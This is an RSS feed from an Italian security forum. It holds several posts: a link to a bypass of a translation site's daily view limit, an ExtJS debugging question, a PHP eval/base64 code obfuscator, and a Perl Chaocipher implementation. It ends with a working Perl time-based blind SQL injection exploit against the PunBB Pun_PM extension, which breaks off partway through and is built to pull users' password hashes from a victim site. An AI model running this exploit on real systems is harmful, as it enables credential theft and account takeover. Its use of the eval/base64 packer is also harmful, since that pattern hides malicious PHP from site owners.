<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Forum di Sicurezza Informatica IT Security - Infernet.ws - Tutti i forum]]></title>
		<link>http://www.infernet.ws/</link>
		<description><![CDATA[Forum di Sicurezza Informatica IT Security - Infernet.ws - http://www.infernet.ws]]></description>
		<pubDate>Thu, 29 Jul 2010 20:06:43 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Latin.it bypass, una luce negli occhi degli studenti]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17135</link>
			<pubDate>Thu, 29 Jul 2010 21:48:01 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17135</guid>
			<description><![CDATA[Se andate come me allo scientifico (o per lo meno ci siete stati) vi sarete accorti di che rottura di palle sia fare le versioni di latino. Fortunatamente esistono siti come latin.it che offrono delle traduzioni decenti e risparmiano un bel po' di lavoro. Il problema nasce quando questi siti mettono un limite di 5 brani visualizzabili al giorno limite non sostenibile per chi copia come si deve <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
<a href="http://pastebin.com/GSnfmTbE" target="_blank">http://pastebin.com/GSnfmTbE</a><br />
<br />
Si, sto prendendo la buona abitudine di scrivere la documentazione di ogni cagata che faccio lol<br />
<br />
P.S.<br />
chi segnala è gay]]></description>
			<content:encoded><![CDATA[Se andate come me allo scientifico (o per lo meno ci siete stati) vi sarete accorti di che rottura di palle sia fare le versioni di latino. Fortunatamente esistono siti come latin.it che offrono delle traduzioni decenti e risparmiano un bel po' di lavoro. Il problema nasce quando questi siti mettono un limite di 5 brani visualizzabili al giorno limite non sostenibile per chi copia come si deve <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
<a href="http://pastebin.com/GSnfmTbE" target="_blank">http://pastebin.com/GSnfmTbE</a><br />
<br />
Si, sto prendendo la buona abitudine di scrivere la documentazione di ogni cagata che faccio lol<br />
<br />
P.S.<br />
chi segnala è gay]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[extjs&#93;problema expander row]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17134</link>
			<pubDate>Thu, 29 Jul 2010 16:58:25 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17134</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>storeInnerGrid.on('load', function() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;debugger;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var pippo = Ext.get('remData' + index);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.getColumnModel().setHidden(0, true);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ext.get('remData' + index).child('div.loading-indicator').remove();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.render(Ext.get('remData' + index));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var colSize = grid.getColumnModel().getColumnWidth(3);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (k = 2; k &lt; 33; k++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.getColumnModel().setColumnWidth(k, colSize);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.getEl().swallowEvent(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ 'mousedown', 'mouseup', 'click', 'contextmenu', 'dblclick', 'mousemove' &#93;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.doLayout();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});</code></div></div>
<br />
in pratica l'applicazione s'impalla a questo punto qua dicendo "null is null or not an object"<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>innerGrid.render(Ext.get('remData' + index));</code></div></div>
io non ho molta esperienza con extjs anzi questa è praticamente la prima volta che lo uso...questi 5-6 righe di codice fanno parte di un file che c'ha 1700 righe e il tutto senza manco un commento.<br />
ho provato a chiedere spiegazioni all'autore di questo capolavoro ma manco lui mi sa dire perche si impalla.<br />
se avete bisogno di qualche informazioni in piu ditemelo.<br />
grazie]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>storeInnerGrid.on('load', function() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;debugger;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var pippo = Ext.get('remData' + index);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.getColumnModel().setHidden(0, true);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ext.get('remData' + index).child('div.loading-indicator').remove();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.render(Ext.get('remData' + index));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var colSize = grid.getColumnModel().getColumnWidth(3);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (k = 2; k &lt; 33; k++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.getColumnModel().setColumnWidth(k, colSize);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.getEl().swallowEvent(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ 'mousedown', 'mouseup', 'click', 'contextmenu', 'dblclick', 'mousemove' ]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerGrid.doLayout();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});</code></div></div>
<br />
in pratica l'applicazione s'impalla a questo punto qua dicendo "null is null or not an object"<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>innerGrid.render(Ext.get('remData' + index));</code></div></div>
io non ho molta esperienza con extjs anzi questa è praticamente la prima volta che lo uso...questi 5-6 righe di codice fanno parte di un file che c'ha 1700 righe e il tutto senza manco un commento.<br />
ho provato a chiedere spiegazioni all'autore di questo capolavoro ma manco lui mi sa dire perche si impalla.<br />
se avete bisogno di qualche informazioni in piu ditemelo.<br />
grazie]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Code Packer And Obfuscator By BrainStorm]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17133</link>
			<pubDate>Wed, 28 Jul 2010 20:15:14 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17133</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>/*<br />
PHP CODE PACKER AND OBFUSCATOR BY BrainStorm<br />
<br />
Istructions:<br />
1. Save this snippet as encrypt.php<br />
2. Save PHP code (without &lt;?php and ?&gt; tag) in decoded.txt<br />
3. Execute this script (visit encrypt.php in a web browser or do php encrypt.php in the shell)<br />
4. Open decoded.php, (visit encoded.php in a web browser or do php encoded.php in the shell)<br />
*/<br />
<br />
echo "&#92;n&lt;h1&gt;PHP Code Packer and Obfuscator by BrainStorm &lt;iambrainstorm@gmail.com&gt;&lt;/h1&gt;&lt;br&gt;&#92;n";<br />
&#36;fp1 = fopen ("decoded.txt", "r");<br />
&#36;contents = fread (&#36;fp1, filesize ("decoded.txt"));<br />
fclose(&#36;fp1);<br />
&#36;fp2 = fopen("encoded.php","w");<br />
fwrite(&#36;fp2, "&lt;?php &#92;r&#92;n");<br />
fwrite(&#36;fp2, 'eval(gzinflate(base64_decode(str_replace("&#92;&#92;n",&#92;'&#92;',&#92;'');<br />
fwrite(&#36;fp2, chunk_split(base64_encode(gzdeflate(trim(&#36;contents), 9)), 80, "&#92;r&#92;n"));<br />
fwrite(&#36;fp2, "'))));&#92;r&#92;n");<br />
fwrite(&#36;fp2, "?&gt;");<br />
fclose(&#36;fp2);<br />
echo "&lt;br&gt;&lt;h1&gt;File encoded.php creato con successo!!!&lt;/h1&gt;&#92;n";<br />
?&gt;</code></div></div>
<br />
Commenti o domande sono ben accetti.]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>/*<br />
PHP CODE PACKER AND OBFUSCATOR BY BrainStorm<br />
<br />
Istructions:<br />
1. Save this snippet as encrypt.php<br />
2. Save PHP code (without &lt;?php and ?&gt; tag) in decoded.txt<br />
3. Execute this script (visit encrypt.php in a web browser or do php encrypt.php in the shell)<br />
4. Open decoded.php, (visit encoded.php in a web browser or do php encoded.php in the shell)<br />
*/<br />
<br />
echo "&#92;n&lt;h1&gt;PHP Code Packer and Obfuscator by BrainStorm &lt;iambrainstorm@gmail.com&gt;&lt;/h1&gt;&lt;br&gt;&#92;n";<br />
&#36;fp1 = fopen ("decoded.txt", "r");<br />
&#36;contents = fread (&#36;fp1, filesize ("decoded.txt"));<br />
fclose(&#36;fp1);<br />
&#36;fp2 = fopen("encoded.php","w");<br />
fwrite(&#36;fp2, "&lt;?php &#92;r&#92;n");<br />
fwrite(&#36;fp2, 'eval(gzinflate(base64_decode(str_replace("&#92;&#92;n",&#92;'&#92;',&#92;'');<br />
fwrite(&#36;fp2, chunk_split(base64_encode(gzdeflate(trim(&#36;contents), 9)), 80, "&#92;r&#92;n"));<br />
fwrite(&#36;fp2, "'))));&#92;r&#92;n");<br />
fwrite(&#36;fp2, "?&gt;");<br />
fclose(&#36;fp2);<br />
echo "&lt;br&gt;&lt;h1&gt;File encoded.php creato con successo!!!&lt;/h1&gt;&#92;n";<br />
?&gt;</code></div></div>
<br />
Commenti o domande sono ben accetti.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Rivelato l'algortimo Chaocipher !!!]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17132</link>
			<pubDate>Tue, 27 Jul 2010 14:10:59 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17132</guid>
			<description><![CDATA[è dal 1918 che il mondo ci sta sbattendo la testa <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
John F. Byrne ha sviluppato l'algoritmo (finora segreto) e ha rilasciato vari testi in chiaro con i corrispondenti testi cifrati, sfidando tutti a comprendere l'algoritmo.<br />
<br />
inutile dire che nessuno ce l'ha fatta.<br />
<br />
il 1 luglio di questo mese, gli eredi di Byrne hanno donato la macchina cifrante al National Cryptological Museum, così l'algoritmo è saltato fuori, dopo 92 anni!<br />
<br />
ecco una descrizione completa e semplice dell'algoritmo:<br />
<br />
<a href="http://www.mountainvistasoft.com/chaocipher/ActualChaocipher/Chaocipher-Revealed-Algorithm.pdf" target="_blank">http://www.mountainvistasoft.com/chaocip...orithm.pdf</a><br />
<br />
enjoy  <img src="http://www.infernet.ws/images/smilies/biggrin.gif" style="vertical-align: middle;" border="0" alt="Big Grin" title="Big Grin" /><br />
<br />
[EDIT&#93;<br />
l'algoritmo in perl presentato nel paper è lunghissimo (ha la decifrazione e una marea di controlli). però mi sono divertito ha riscrivere una versione semplificata, senza la decifrazione e senza controlli, con gli alfabeti iniziali inseriti direttamente nel source, per un totale di 400 righe in meno. anche la sintassi perl non è delle migliori, ma ripeto, l'ho scritto just for fun.<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#!/usr/bin/perl<br />
<br />
&#36;CT = "CEDQRSTIXYLMOPZABFVGUHWJKN";<br />
&#36;PT = "ayzbqdsefghlwinkcmoprtuvjx";<br />
<br />
@cttrans = (0, 2..13, 1, 14..25);<br />
@pttrans = (1, 2, 4..14, 3, 15..25, 0);<br />
<br />
@ctarr = split //,&#36;CT;<br />
@ptarr = split //,&#36;PT;<br />
<br />
print "&#92;n&gt; ";<br />
&#36;in = &lt;&gt;;<br />
chomp &#36;in;<br />
@inarr = split //,&#36;in;<br />
<br />
for &#36;j (0..&#36;#inarr) {<br />
<br />
for &#36;k (0..&#36;#ptarr) {<br />
if ("&#36;inarr[&#36;j&#93;" eq &#36;ptarr[&#36;k&#93;) {&#36;out .= &#36;ctarr[&#36;k&#93;; &#36;p = &#36;k;}<br />
}<br />
<br />
for &#36;t (0..25) {<br />
&#36;ctarr2[&#36;t&#93; = &#36;ctarr[(&#36;p+&#36;cttrans[&#36;t&#93;)%26&#93;;<br />
&#36;ptarr2[&#36;t&#93; = &#36;ptarr[(&#36;p+&#36;pttrans[&#36;t&#93;)%26&#93;<br />
}<br />
<br />
@ctarr = @ctarr2; @ptarr = @ptarr2;<br />
<br />
}<br />
<br />
print "&#92;n&gt; &#36;out&#92;n";</code></div></div>
]]></description>
			<content:encoded><![CDATA[è dal 1918 che il mondo ci sta sbattendo la testa <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
John F. Byrne ha sviluppato l'algoritmo (finora segreto) e ha rilasciato vari testi in chiaro con i corrispondenti testi cifrati, sfidando tutti a comprendere l'algoritmo.<br />
<br />
inutile dire che nessuno ce l'ha fatta.<br />
<br />
il 1 luglio di questo mese, gli eredi di Byrne hanno donato la macchina cifrante al National Cryptological Museum, così l'algoritmo è saltato fuori, dopo 92 anni!<br />
<br />
ecco una descrizione completa e semplice dell'algoritmo:<br />
<br />
<a href="http://www.mountainvistasoft.com/chaocipher/ActualChaocipher/Chaocipher-Revealed-Algorithm.pdf" target="_blank">http://www.mountainvistasoft.com/chaocip...orithm.pdf</a><br />
<br />
enjoy  <img src="http://www.infernet.ws/images/smilies/biggrin.gif" style="vertical-align: middle;" border="0" alt="Big Grin" title="Big Grin" /><br />
<br />
[EDIT]<br />
l'algoritmo in perl presentato nel paper è lunghissimo (ha la decifrazione e una marea di controlli). però mi sono divertito ha riscrivere una versione semplificata, senza la decifrazione e senza controlli, con gli alfabeti iniziali inseriti direttamente nel source, per un totale di 400 righe in meno. anche la sintassi perl non è delle migliori, ma ripeto, l'ho scritto just for fun.<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#!/usr/bin/perl<br />
<br />
&#36;CT = "CEDQRSTIXYLMOPZABFVGUHWJKN";<br />
&#36;PT = "ayzbqdsefghlwinkcmoprtuvjx";<br />
<br />
@cttrans = (0, 2..13, 1, 14..25);<br />
@pttrans = (1, 2, 4..14, 3, 15..25, 0);<br />
<br />
@ctarr = split //,&#36;CT;<br />
@ptarr = split //,&#36;PT;<br />
<br />
print "&#92;n&gt; ";<br />
&#36;in = &lt;&gt;;<br />
chomp &#36;in;<br />
@inarr = split //,&#36;in;<br />
<br />
for &#36;j (0..&#36;#inarr) {<br />
<br />
for &#36;k (0..&#36;#ptarr) {<br />
if ("&#36;inarr[&#36;j]" eq &#36;ptarr[&#36;k]) {&#36;out .= &#36;ctarr[&#36;k]; &#36;p = &#36;k;}<br />
}<br />
<br />
for &#36;t (0..25) {<br />
&#36;ctarr2[&#36;t] = &#36;ctarr[(&#36;p+&#36;cttrans[&#36;t])%26];<br />
&#36;ptarr2[&#36;t] = &#36;ptarr[(&#36;p+&#36;pttrans[&#36;t])%26]<br />
}<br />
<br />
@ctarr = @ctarr2; @ptarr = @ptarr2;<br />
<br />
}<br />
<br />
print "&#92;n&gt; &#36;out&#92;n";</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PunBB <= 1.3.4 Package: Pun_PM <= v1.2.6 Remote Blind SQL Injection Exploit]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17131</link>
			<pubDate>Tue, 27 Jul 2010 14:04:06 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17131</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#!/usr/bin/perl<br />
# [0-Day&#93; PunBB &lt;= 1.3.* Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploit<br />
# Author/s: Dante90, WaRWolFz Crew<br />
# Created: 2009.07.30 after 0 days the bug was discovered.<br />
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat<br />
# Greetings To: _ nEmO _, XaDoS, Necrofiend, Lutor, vagabondo, hacku, yawn, The_Exploited, Shotokan-The Hacker, _mRkZ_,<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chuzz, init, plucky, SaRtE, Lupo<br />
# Thanks For Testing: BlAcK HaT, l3d<br />
# Web Site: www.warwolfz.org<br />
# My Wagend (Dante90): dante90wwz.altervista.org<br />
# Unit-X Project: www.unitx.net<br />
# ----<br />
# Why I've decided to publish this?<br />
# Because in "Package: Pun_PM &lt;= v1.2.9" the bug was fixed.<br />
# ----<br />
# DETAILS<br />
# ./PunBB v1.3.*/extensions/pun_pm/functions.php<br />
# LINES: 504 -&gt; 526<br />
#&nbsp;&nbsp;&nbsp;&nbsp;function pun_pm_edit_message()<br />
#&nbsp;&nbsp;&nbsp;&nbsp;{<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global &#36;forum_db, &#36;forum_user, &#36;lang_pun_pm;<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;errors = array();<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Verify input data<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;query = array(<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'SELECT'&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'm.id as id, m.sender_id as sender_id, m.status as status, u.username as username, m.subject as subject, m.body as body',<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'FROM'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'pun_pm_messages m',<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'JOINS'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; array(<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array(<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'LEFT JOIN'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'users AS u',<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ON'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; '(u.id = m.receiver_id)'<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;),<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;),<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'WHERE'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'm.id = '.&#36;forum_db-&gt;escape(&#36;_GET['message_id'&#93;).' AND m.sender_id = '.&#36;forum_user['id'&#93;.' AND m.deleted_by_sender = 0'<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&#36;hook = get_hook('pun_pm_fn_edit_message_pre_validate_query')) ? eval(&#36;hook) : null;<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;result = &#36;forum_db-&gt;query_build(&#36;query) or error(__FILE__, __LINE__);<br />
# ----<br />
# GET http://127.0.0.1/WaRWolFz/misc.php?section=pun_pm&amp;pmpage=write&amp;message_id=-1'<br />
# Error - PunBB<br />
# An error was encountered<br />
# The error occurred on line 525 in ./WaRWolFz/extensions/pun_pm/functions.php<br />
# Database reported: Errore di sintassi nella query SQL vicino a '&#92; AND m.sender_id = 2 AND m.deleted_by_sender = 0' linea 1 (Errno: 1064).<br />
<br />
use strict;<br />
use warnings;<br />
<br />
use LWP::UserAgent;<br />
use HTTP::Cookies;<br />
use HTTP::Request::Common;<br />
use Time::HiRes;<br />
use IO::Socket;<br />
<br />
my (&#36;UserName,&#36;PassWord,&#36;ID) = @ARGV;<br />
if (@ARGV &lt; 3) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&amp;usage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit();<br />
}<br />
<br />
my &#36;Message = "";<br />
my &#36;Hash = "";<br />
my (&#36;Time,&#36;Time_Start,&#36;Time_End,&#36;Response);<br />
my (&#36;Start,&#36;End);<br />
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);<br />
my &#36;Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link<br />
my &#36;Method = HTTP::Request-&gt;new(GET =&gt; &#36;Host);<br />
my &#36;Cookies = new HTTP::Cookies;<br />
my &#36;HTTP = new LWP::UserAgent(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;agent =&gt; 'Mozilla/5.0',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_redirect =&gt; 0,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookie_jar =&gt; &#36;Cookies,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) or die &#36;!;<br />
my &#36;Referrer = "http://www.warwolfz.org/";<br />
my &#36;DefaultTime = request(&#36;Referrer);<br />
<br />
sub request {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Referrer = &#36;_[0&#93;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Method-&gt;referrer(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Start = Time::HiRes::time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Response = &#36;HTTP-&gt;request(&#36;Method);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Response-&gt;is_success() or die "&#36;Host : ", &#36;Response-&gt;message,"&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;End = Time::HiRes::time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = &#36;End - &#36;Start;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return &#36;Time;<br />
}<br />
<br />
sub Blind_SQL_Jnjection {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my (&#36;dec,&#36;hex) = @_;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return "./misc.php?section=pun_pm&amp;pmpage=write&amp;message_id=-1 OR 1!=(SELECT IF((ASCII(SUBSTRING(`password`,&#36;{dec},1))=&#36;{hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=&#36;{ID})--";<br />
}<br />
<br />
sub Clear() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;launch = &#36;^O eq 'MSWin32' ? 'cls' : 'clear';<br />
&nbsp;&nbsp;&nbsp;&nbsp;return system(&#36;launch);<br />
